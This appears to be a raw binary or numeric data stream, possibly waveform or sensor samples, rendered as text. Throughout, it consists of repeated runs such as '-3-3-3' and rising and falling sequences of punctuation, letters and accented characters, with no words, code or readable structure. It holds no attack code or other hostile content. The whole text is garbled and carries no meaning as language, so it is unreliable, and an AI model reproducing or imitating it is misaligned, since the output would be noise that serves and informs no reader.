-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4-3-4-3.2.2/2010111111222222222222222333333333333334353535353535353535353535353636272727272727272727272727272727272727272727272727272727272727272727272727272727262626262626262626262626261535353535353535353535343434333333333333333322222222222221212121212121101010101010203/4/4.3.3.3.3.3.3.3.3.3-3-3-1.1.1.1.1.1.1.1.1.1.1.1.1.2.3.3.3.3.3.3.2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-4-4,3,3,4,5.6/6/708283:4<5=6>8?9C;C<E=G?I@JBJCMENGOHPIRJTLUNWPYQZS[T^U_W`YbZd\e]e^g`iakbmdofphqirktlvmwozp{q|s}uwxz|}~¶øĹǻȼɽ˿˿ʽɻǺƸö|z}x{vztxquosmqkoilgjehceac^b\_Z]X[WWSUQTOQMOKMIKFJEGCD@B>><>::78463311//.-*+)('&$$!"      #$!&#)&+(,*/,2/516486:8>:A=D?E@GBIDLGMIPKRMTOUQWS[V]Y_Zb\c^f`hcjelgnipkrmtowqyszu|x}z|õƸǺȼʽʿȾǻŹĸ·~|{zy~v}t{szrxqwountlrjpjphmgkejbhaf^e^d\b[aY^X[W[UYTYSWQUPUNSLQKPJNHNFMFJCIBHAG?E?D<B<A;@:>9=6:593815/4/3.3.2,2,3-3-3,3,3,3,3+2-2.2.2.2.2.2.3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,6+5,5,5,4,3,3-3-2-3-2-4.3.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3/4/3/4/3/4/4/405/4050404040214131313131412131313131214131313131412131313131214131313131412131313131214131313131412131313131214131313140404050404050404/3/4/4/3/3.2.2.2.2.2.2.2.2/3/3/3/3/3/3/3.2-3-2-3-2-3-2-2-3-2-3-2-3-4,5,5,5,5,5,5,5,5,5,5,5,5,5,3-2.2.3/3/3/3/2.2.2.2.2.2.2.2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-4-5-5-5.6/8193:4;5<7?9@:A;B=E>F?GAIAJCKEMFNGPIQKSLUNVOWOXR[T\U^W`XaYbZc\e]f_i`ibkcldnfphrjsktmwoxpyr{s|t~vwxz{}ķĸƹǻȼʿ̿ʽǻŹĸö}{~y|wwtvruqrnqlojngkfidgad_b]_Z^X[VYTWQUPRNOKNILGIFHCEAD?A=>;<9978462301..--+*((&%#$!"     !# %#&%)'+*.,0.10437496<9>:?<B>D@FCIEKGNIPKQMTOVRXT[V\X`[a]c_f`gcjekgnipkrmtourwt{v|y~{}¶ĸƺǻȽ˿ʾȽǻƺŸ÷´~|zyw~v}t{szrxovovmslqjphofmdjcjbh`f_e^b]b[`Z`X^W[U\TZSXQVPUNULSMPIOHNGMEKDJAHAF?E>D=C;A:@9=7;5:39281716/6.5-4-3-3,3,3,3-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,5,5,4+4+4,4,4,5,3,3,3,3,3,3-3,3,2,2,2,2+2,2+3,4-5,4-5,4-4-4,4-5,4-5,4,4,3-2.3-2.3-3-2.3-2.3-3-3-3-2.3-2.3-3-2.3-2.3-3-3-3-2.3-2.3-3-2.3-2.3-3-3-3-2.3-2.3-3-2.3-2.3-3-3-3.2.3-2.3-3-3-3-4-5,4,4,5,4-5,4-4,4,3,4+2,2,2,2,2,2,2,2,3-3-3-3-3-3-3-3,5,4,5,4,4,4,4,5,4,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,3-3-3-3-4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,2,2,2,3,3,3,3,3-3-3-3-3-3-4,5,5,6-7.708192:4=5>7@9A:B;C=E?F?G@HBKCLDNGOGPIQKSLUMVNWPYR[S\T]U^WaYbZd\e^g^g`jblcldofohrisjulwnxpzr{t}t~uwxy|}}µöƸǻʼʾ̾̿˽ʼǻƹ¶}z|wzvwttqqopmnklikgidhae_c^a\]Y[WXUWRUPSNQLOJKGHEGBEAB@A=>;<9:77463323/.-,+*('&'%#""        " $"&&('*)-+/-1/426485:8;9?<A?CAECHEJFLIPKQNSPVRWSZV\X]Z_\b^e`gbhekgnipkrmtovqxszv}y{}·ĸǻɽ˾ο˿ʽȼǺŹ÷~}{zyw~v}s{s{qypwnvmtlriphpfmekdibh`g_e^e]c[aZaX_X]V\T[SZQYQVNTMSKQJPHNFLEJCJBIAH?F>E=C<A:@:>9=7;5:392706/5.5.4-4,3-3-2-2-2-2-2-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,5-5-5-5-4,5,5,5,5,5,5,2,2,2,2,2,2,2,3,3,3,3,3,3,4-5-5-5-5-5-5-5-4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,4,4,4,5-5-4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-4-4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4-4-4-4-4-4-4-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,2,2,2,3,3,3,3,3,4-4-4-4-4-5-7.7/80:3;4<5?8@9A:C<D>E?G@HAICLDLDMFOGPIRKSLVMWOXQ[R\T]U_W`XaYbZd\f^g_h`iclcmeofqhriujulwlxnyp{r}svwxy{|}µ÷ƸǺȻʽ̾ο;ʽȻǺŸö}zy|vzuxrupsoplnjlhjfhdfac_a\_[]Y[VXTVRSPQMPLNJLHJFFCC@B>?=<;;9967452200.---*)(%&$$"!"        #"$$'&)(++.-0/31537597;9><?>B@DBFDJFKINKPMQNSPVRWUYV\Y^[`]b_dbhdlgnhpjqlsnvpwryt|v~xz|~¶ĸƹȻɼ˿̾ʽȻźĹ·}|zxxv~u|s{rzpxnumuksjqipgofmdkckbh`g_f]d\bZaX`W_V]T\SZRYPWOVNULRKQIPHOFMCLBKAH@F?E>D=B;@:@9?8=6<4:391806/5.4.4.3-3-3-3-3-3,3,3,3,3,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,4-2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.4.4.3-2,3-3-3-3-3-3,3+3+3+3+3,3,3,4,6-6/7/8081;2<3=5>6?8A:B;D<E>F?HAICJDLEMGOHQIRJSKUMWOWPYQ\R]T^U`WaXbYd[e\f^g_i`kbmcneogqhsjtkwmxmznzp|q}s~uvxz{|}÷ŹǼ˼̾˽ȻǺĸ÷¶}}{|y}w|tyswquotmqkoilgidgbfac^`[]ZZWYUWSTQROQMMKKIJGHFGCDA@>=;<::87654312//-,+*)'(&$#"    !!$#&&)(**-,/.10435487:9<;><@?DAECGEJHLIMKQNRPTRVTYV[X\[_]c_gaickemgnhpjrlsmwpyrzt{v}x~{~µķŹǻȽɿʾɽǻźø÷}|{yxvu}r{qzpyowmwltksiphqgnemclbi`g^f]e\d[bYbX`W_U]T[S[PXOVMULTKRIQHPFNELDJCIBH@E?E=C<B;A9>8>7=6;4:29190605/5.4.4-4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.3-3-4-4-4-4-3-2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2-2-2-2-2-2-2-2-2-2-2-2-2-2-2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3-5,5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,3-3-3-3-3-3-3-3-3-3-2,2,2,2,4,5.5.7/90:1;3<4<5?6@7A9B;C<D=G>H@IAJCLDMFNHPJQJRLTMWNXOXPZR]S]U_VaWbXcZd\g]g^i`jalcmcofpgsitkulwmxnyo{q}r~tuwxz{|~·ĹƺȽʾʾɼǻƹŸö~}{|yxxwvwswqwounskpinhkeicgae_c]a[_Y[WWUURSQROPMLJKHGFECCBB@@=><;9867553110/,,,*)(&&$$""!      !#"%$'&)(*+.-0/31547597:8=;>=A@CAECHFKIMKOMQNTQVSWUZW\Y_Zb]d^f`hbjdkfmhpjrltnupwrxuyw{y{}øźƻȼʽ˿ɽȼǻŹ÷}|zxvu~t}s{qzoxnwmvltjshrgoemclbkai`h^g^d\cZbY`X_V^T\S[RYPXNVMTLSKQJOINGMEKDJCJBHAF?E>C<A;@:?8?7>6<5;392816/6.6-6-5-5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2-2-2-2-2-2-2-2-2-2-2-2-2-2-2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.4-5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2-3-3.3.3-3.4/50818192;4=5?7?8@9B:D;E=F?H@JBJBLDMFNGOHQJSLTMUOWPYQZS\T\U^V_WaYcZd\e]f]h_jakbmcnepfqhsiukvmxnzp{q|s}suvwyz|}¶ķźƼȽ˿˿ʾȽǻƺĸ}|zzxwvutsrqprmrkpiogmejchaf_c]a[_X^W[UZSVQROPMNLLIJHFEDB@??==;;::78543211/.-++))'&&$#"!     " $"%%('*)-+0/2032437598;:><?>CAFDGFJHKINLPNRPURWSXUZW[Y_[`]c^f`hbkelgnipkrmrosrusxuzw}y{}·Ÿǻɼʾ˿̿ɽȼƺŹĸ·~{zywvu}s|r|qzoynxltjshqgqgofldkbiah_h^f]d\cYaX`W_U^T[SYQWPVOUNSMRKPJOHNGMFKDKDIBF@E?E>D<D<B:A9>7>7;4;3:1917/5.5-3.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2.2.3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1,2-3.3.4040619393:5=6>7?8A:C;D<E=E>H?I@IBJDMFNFOGPJRKTLTMUNXPZR[T]T^U_WaYaYc[d\f^h^i`jbkcmdofqhshtjukvlxnzo{q}s~tvxzz||}ķŹƺǻȼʾ˿ʾȽƺŹø}{{wyuxtvrroqnnkmjlhkejchaf`c^a[_Y\W[UWSVQUOSNPMLJJHIFFDDBA?>=<::886644120.-,,+)(('&$#"!       !"!%#'%)',).+0-2/517497;8<;@=B?D@FCHEKGLINLONPORQSRVTXW[Y]Za\c^gahbielgminkpmrotqwryu{wz|~µķƹǺɽ̾Ϳ˿ʾɽǻŹŹ¶}|{yxvu}s|qzpxnwmvlukriphnfmdlckbhag`f^e]c[bZaY^W]W[UZSXRWPVOUNSMRLPJOINHLGJEICHBGAF@E>C=B<A:@9?8=6;4:39250504/3.3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-3.3-3-3.3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,3-3.4/4051628495:6<8=9>:@;B<C>E?HBICICKDLELFOHQJRLSMSMUOXQXQZR[T]V_WaYaYc[d]e_f_h`ibjdldnfohqisjtlunwmypzq|s}svxxz|}¶øŹƺȽɾ˿ɽǻźĸ¶}{}y|wyuwqsornokmilhjfhcgad`a]`[^Z\XYVWSURTORNPKLIKGIFGDEAB@A>>;<9:67552201//,,*(('%%#$""        !#"&$(&*(-+/-2/415275:7;9>;A=C@DBFDHFIHJJKKMMPORQUSWUZV\X_[a\b_eagchelhminkpmsouqxtzv{x~z{~öŹǻȼɽ̾ʿȽǻƺĹø¶~}|zxwv~s|r{qyovnumtlsjqiphnflejdibhaf_d]d]a[aY`Y_X^VZTZSXRVQUOTMRMQLPKOIOINGLEJDIBHAG?F>C<B;A:@9>7:694838270606/4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,5,5,5,5,5,5,5,5,5-5-5-5-5,4,4,5,4-5,4,4,4,4,5,4-5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,4,5,5,4,4,4,5,6,5,5,5,5,6,6,5,4,4,4,4,4,5,5,5,5,5,4-4-4-3-3-3-3-3-3-3-3-3-3-3-4-4-4,5,6,5,5,5,5,5,5,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3+3,3.4/60617294:5:6;7<8=:?<B=C>D?E@FAICJDMFNHOIQIQJRLTMVNXQYRZS[T^V_W`WaYc[d\f]g^g_iajckdmeogpirjtkumvnxnyp{r}s~uwxy{}~¶÷ƺǼɽʾ˿ɾǼƺŹ·~|{~y|wyuwsvqsoqlojmhkfhdgbe`c^a\^[[YYVXUURSPRNPMMJKHIEFDDBB@A?><=:;8857351300-.,,*)((&$""    